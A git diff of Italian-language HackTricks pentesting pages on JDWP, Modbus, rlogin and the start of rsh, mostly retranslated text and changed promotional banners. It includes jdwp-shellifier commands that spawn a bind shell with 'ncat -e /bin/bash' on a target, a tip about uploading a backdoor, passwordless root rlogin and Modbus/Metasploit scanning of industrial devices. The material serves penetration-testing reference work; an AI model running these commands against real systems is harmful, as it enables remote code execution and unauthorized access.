<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## Sfruttare
|
## Sfruttamento
|
||||||
|
|
||||||
Lo sfruttamento di JDWP si basa sulla **mancanza di autenticazione e crittografia del protocollo**. Di solito si trova sulla **porta 8000**, ma sono possibili altre porte. La connessione iniziale avviene inviando un "JDWP-Handshake" alla porta di destinazione. Se un servizio JDWP è attivo, risponderà con la stessa stringa, confermando la sua presenza. Questa handshake funge da metodo di fingerprinting per identificare i servizi JDWP nella rete.
|
Lo sfruttamento di JDWP si basa sulla **mancanza di autenticazione e crittografia del protocollo**. Si trova generalmente sulla **porta 8000**, ma sono possibili altre porte. La connessione iniziale viene effettuata inviando un "JDWP-Handshake" alla porta di destinazione. Se un servizio JDWP è attivo, risponde con la stessa stringa, confermando la sua presenza. Questo handshake funge da metodo di fingerprinting per identificare i servizi JDWP sulla rete.
|
||||||
|
|
||||||
Per quanto riguarda l'identificazione dei processi, la ricerca della stringa "jdwk" nei processi Java può indicare una sessione JDWP attiva.
|
In termini di identificazione del processo, cercare la stringa "jdwk" nei processi Java può indicare una sessione JDWP attiva.
|
||||||
|
|
||||||
Lo strumento principale è [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Puoi usarlo con diversi parametri:
|
Lo strumento principale è [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Puoi usarlo con diversi parametri:
|
||||||
```bash
|
```bash
|
||||||
|
@ -26,42 +27,42 @@ Lo strumento principale è [jdwp-shellifier](https://github.com/hugsy/jdwp-shell
|
||||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
|
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
|
||||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
|
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
|
||||||
```
|
```
|
||||||
Ho scoperto che l'utilizzo di `--break-on 'java.lang.String.indexOf'` rende l'exploit più **stabile**. E se hai la possibilità di caricare un backdoor sull'host ed eseguirlo invece di eseguire un comando, l'exploit sarà ancora più stabile.
|
Ho scoperto che l'uso di `--break-on 'java.lang.String.indexOf'` rende l'exploit più **stabile**. E se hai la possibilità di caricare un backdoor sull'host ed eseguirlo invece di eseguire un comando, l'exploit sarà ancora più stabile.
|
||||||
|
|
||||||
## Ulteriori dettagli
|
## Maggiori dettagli
|
||||||
|
|
||||||
**Questo è un riassunto di [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Consultalo per ulteriori dettagli.
|
**Questo è un riepilogo di [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Controllalo per ulteriori dettagli.
|
||||||
|
|
||||||
1. **Panoramica di JDWP**:
|
1. **Panoramica di JDWP**:
|
||||||
- È un protocollo binario di rete basato su pacchetti, principalmente sincrono.
|
- È un protocollo binario di rete basato su pacchetti, principalmente sincrono.
|
||||||
- Mancanza di autenticazione e crittografia, rendendolo vulnerabile quando esposto a reti ostili.
|
- Mancano autenticazione e crittografia, rendendolo vulnerabile quando esposto a reti ostili.
|
||||||
|
|
||||||
2. **Handshake di JDWP**:
|
2. **Handshake JDWP**:
|
||||||
- Viene utilizzato un semplice processo di handshake per avviare la comunicazione. Viene scambiata una stringa ASCII di 14 caratteri "JDWP-Handshake" tra il Debugger (client) e il Debuggee (server).
|
- Viene utilizzato un semplice processo di handshake per avviare la comunicazione. Una stringa ASCII di 14 caratteri “JDWP-Handshake” viene scambiata tra il Debugger (client) e il Debuggee (server).
|
||||||
|
|
||||||
3. **Comunicazione di JDWP**:
|
3. **Comunicazione JDWP**:
|
||||||
- I messaggi hanno una struttura semplice con campi come Lunghezza, Id, Flag e CommandSet.
|
- I messaggi hanno una struttura semplice con campi come Lunghezza, Id, Flag e CommandSet.
|
||||||
- I valori di CommandSet vanno da 0x40 a 0x80, rappresentando diverse azioni ed eventi.
|
- I valori di CommandSet vanno da 0x40 a 0x80, rappresentando diverse azioni ed eventi.
|
||||||
|
|
||||||
4. **Sfruttamento**:
|
4. **Sfruttamento**:
|
||||||
- JDWP consente il caricamento e l'invocazione di classi e bytecode arbitrari, comportando rischi per la sicurezza.
|
- JDWP consente di caricare e invocare classi e bytecode arbitrari, ponendo rischi per la sicurezza.
|
||||||
- L'articolo descrive un processo di sfruttamento in cinque fasi, che coinvolge il recupero di riferimenti di runtime di Java, impostazione di punti di interruzione e invocazione di metodi.
|
- L'articolo dettaglia un processo di sfruttamento in cinque passaggi, che coinvolgono il recupero dei riferimenti Java Runtime, l'impostazione di breakpoint e l'invocazione di metodi.
|
||||||
|
|
||||||
5. **Sfruttamento nella vita reale**:
|
5. **Sfruttamento nella vita reale**:
|
||||||
- Nonostante le potenziali protezioni del firewall, i servizi JDWP sono individuabili e sfruttabili in scenari reali, come dimostrato da ricerche su piattaforme come ShodanHQ e GitHub.
|
- Nonostante le potenziali protezioni del firewall, i servizi JDWP sono scopribili e sfruttabili in scenari reali, come dimostrato da ricerche su piattaforme come ShodanHQ e GitHub.
|
||||||
- Lo script di exploit è stato testato su varie versioni di JDK ed è indipendente dalla piattaforma, offrendo un'esecuzione remota affidabile del codice (RCE).
|
- Lo script di exploit è stato testato contro varie versioni di JDK ed è indipendente dalla piattaforma, offrendo un'affidabile Esecuzione Remota di Codice (RCE).
|
||||||
|
|
||||||
6. **Implicazioni per la sicurezza**:
|
6. **Implicazioni per la sicurezza**:
|
||||||
- La presenza di servizi JDWP aperti su Internet sottolinea la necessità di revisioni di sicurezza regolari, disabilitazione delle funzionalità di debug in produzione e configurazioni corrette del firewall.
|
- La presenza di servizi JDWP aperti su Internet sottolinea la necessità di revisioni di sicurezza regolari, disabilitando le funzionalità di debug in produzione e configurazioni adeguate del firewall.
|
||||||
|
|
||||||
### **Riferimenti:**
|
### **Riferimenti:**
|
||||||
|
|
||||||
* [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)]
|
* [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)]
|
||||||
* [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
|
* [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
|
||||||
* [http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html](http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html)
|
* [http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html](http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html)
|
||||||
* http://www.secdev.org/projects/scapy(non più attivo)
|
* http://www.secdev.org/projects/scapy(no longer active)
|
||||||
* [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
|
* [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
|
||||||
* http://www.hsc-news.com/archives/2013/000109.html (non più attivo)
|
* http://www.hsc-news.com/archives/2013/000109.html (no longer active)
|
||||||
* [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
|
* [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
|
||||||
* https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults
|
* https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults
|
||||||
* [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
|
* [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
|
||||||
|
@ -69,16 +70,17 @@ Ho scoperto che l'utilizzo di `--break-on 'java.lang.String.indexOf'` rende l'ex
|
||||||
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
|
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
|
||||||
* [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
|
* [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,21 +1,22 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) su GitHub.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# Informazioni di base
|
# Informazioni di base
|
||||||
|
|
||||||
Nel 1979, il **Protocollo Modbus** è stato sviluppato da Modicon, servendo come struttura di messaggistica. Il suo uso principale consiste nel facilitare la comunicazione tra dispositivi intelligenti, operando secondo un modello master-slave/client-server. Questo protocollo svolge un ruolo cruciale nel consentire ai dispositivi di scambiare dati in modo efficiente.
|
Nel 1979, il **Protocollo Modbus** è stato sviluppato da Modicon, fungendo da struttura di messaggistica. Il suo utilizzo principale consiste nel facilitare la comunicazione tra dispositivi intelligenti, operando secondo un modello master-slave/client-server. Questo protocollo gioca un ruolo cruciale nel consentire ai dispositivi di scambiare dati in modo efficiente.
|
||||||
|
|
||||||
**Porta predefinita:** 502
|
**Porta predefinita:** 502
|
||||||
```
|
```
|
||||||
|
@ -23,65 +24,22 @@ PORT STATE SERVICE
|
||||||
502/tcp open modbus
|
502/tcp open modbus
|
||||||
```
|
```
|
||||||
# Enumerazione
|
# Enumerazione
|
||||||
|
|
||||||
## Modbus Enumeration
|
|
||||||
|
|
||||||
Modbus is a widely used protocol in industrial control systems (ICS) and is often found in SCADA (Supervisory Control and Data Acquisition) environments. It is important to enumerate Modbus devices in order to identify potential targets for exploitation.
|
|
||||||
|
|
||||||
### Modbus TCP Enumeration
|
|
||||||
|
|
||||||
To enumerate Modbus TCP devices, you can use tools like `nmap` or `modscan`. These tools can help you discover Modbus devices on a network and gather information about them, such as IP addresses, ports, and device IDs.
|
|
||||||
|
|
||||||
#### Nmap
|
|
||||||
|
|
||||||
Nmap is a powerful network scanning tool that can be used to enumerate Modbus TCP devices. You can use the following command to scan for Modbus devices:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
nmap -p 502 --script modbus-discover <target>
|
|
||||||
```
|
|
||||||
|
|
||||||
Replace `<target>` with the IP address or range of IP addresses you want to scan. This command will scan for devices on port 502, which is the default port for Modbus TCP.
|
|
||||||
|
|
||||||
#### Modscan
|
|
||||||
|
|
||||||
Modscan is a popular Modbus enumeration tool that can be used to scan for Modbus devices. You can download Modscan from the internet and run it on your machine. Once you have Modscan installed, you can enter the IP address of the target device and scan for Modbus devices.
|
|
||||||
|
|
||||||
### Modbus RTU Enumeration
|
|
||||||
|
|
||||||
To enumerate Modbus RTU devices, you can use tools like `mbpoll` or `qModMaster`. These tools can help you communicate with Modbus RTU devices and gather information about them.
|
|
||||||
|
|
||||||
#### mbpoll
|
|
||||||
|
|
||||||
Mbpoll is a command-line tool that can be used to communicate with Modbus RTU devices. You can use the following command to scan for Modbus RTU devices:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
mbpoll -a <device_id> -t 0x03 -r <register> -c <count> -b <baud_rate> <serial_port>
|
|
||||||
```
|
|
||||||
|
|
||||||
Replace `<device_id>` with the ID of the target device, `<register>` with the register you want to read, `<count>` with the number of registers to read, `<baud_rate>` with the baud rate of the device, and `<serial_port>` with the serial port connected to the device.
|
|
||||||
|
|
||||||
#### qModMaster
|
|
||||||
|
|
||||||
qModMaster is a graphical user interface (GUI) tool that can be used to communicate with Modbus RTU devices. You can download qModMaster from the internet and run it on your machine. Once you have qModMaster installed, you can enter the serial port settings and scan for Modbus RTU devices.
|
|
||||||
|
|
||||||
## Conclusion
|
|
||||||
|
|
||||||
Enumerating Modbus devices is an important step in the process of pentesting industrial control systems. By identifying and gathering information about Modbus devices, you can better understand the network and identify potential vulnerabilities for exploitation.
|
|
||||||
```bash
|
```bash
|
||||||
nmap --script modbus-discover -p 502 <IP>
|
nmap --script modbus-discover -p 502 <IP>
|
||||||
msf> use auxiliary/scanner/scada/modbusdetect
|
msf> use auxiliary/scanner/scada/modbusdetect
|
||||||
msf> use auxiliary/scanner/scada/modbus_findunitid
|
msf> use auxiliary/scanner/scada/modbus_findunitid
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,18 +1,19 @@
|
||||||
# 513 - Test di penetrazione Rlogin
|
# 513 - Pentesting Rlogin
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -21,7 +22,7 @@ Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
## Informazioni di base
|
## Informazioni di base
|
||||||
|
|
||||||
In passato, **rlogin** veniva ampiamente utilizzato per compiti di amministrazione remota. Tuttavia, a causa di preoccupazioni sulla sicurezza, è stato in gran parte sostituito da **slogin** e **ssh**. Questi metodi più recenti forniscono una maggiore sicurezza per le connessioni remote.
|
In passato, **rlogin** era ampiamente utilizzato per compiti di amministrazione remota. Tuttavia, a causa di preoccupazioni riguardo alla sua sicurezza, è stato in gran parte sostituito da **slogin** e **ssh**. Questi metodi più recenti offrono una sicurezza migliorata per le connessioni remote.
|
||||||
|
|
||||||
**Porta predefinita:** 513
|
**Porta predefinita:** 513
|
||||||
```
|
```
|
||||||
|
@ -33,13 +34,13 @@ PORT STATE SERVICE
|
||||||
# Install client
|
# Install client
|
||||||
apt-get install rsh-client
|
apt-get install rsh-client
|
||||||
```
|
```
|
||||||
Puoi utilizzare il seguente comando per provare a **accedere** a un host remoto dove non è richiesta alcuna password per l'accesso. Prova ad utilizzare **root** come nome utente:
|
Puoi usare il seguente comando per provare a **login** su un host remoto dove **non è richiesta una password** per l'accesso. Prova a usare **root** come nome utente:
|
||||||
```bash
|
```bash
|
||||||
rlogin <IP> -l <username>
|
rlogin <IP> -l <username>
|
||||||
```
|
```
|
||||||
### [Brute force](../generic-methodologies-and-resources/brute-force.md#rlogin)
|
### [Brute force](../generic-methodologies-and-resources/brute-force.md#rlogin)
|
||||||
|
|
||||||
## Trovare file
|
## Trova file
|
||||||
```
|
```
|
||||||
find / -name .rhosts
|
find / -name .rhosts
|
||||||
```
|
```
|
||||||
|
@ -48,16 +49,17 @@ find / -name .rhosts
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica l'Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,28 +1,29 @@
|
||||||
# 514 - Pentesting Rsh
|
# 514 - Pentesting Rsh
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
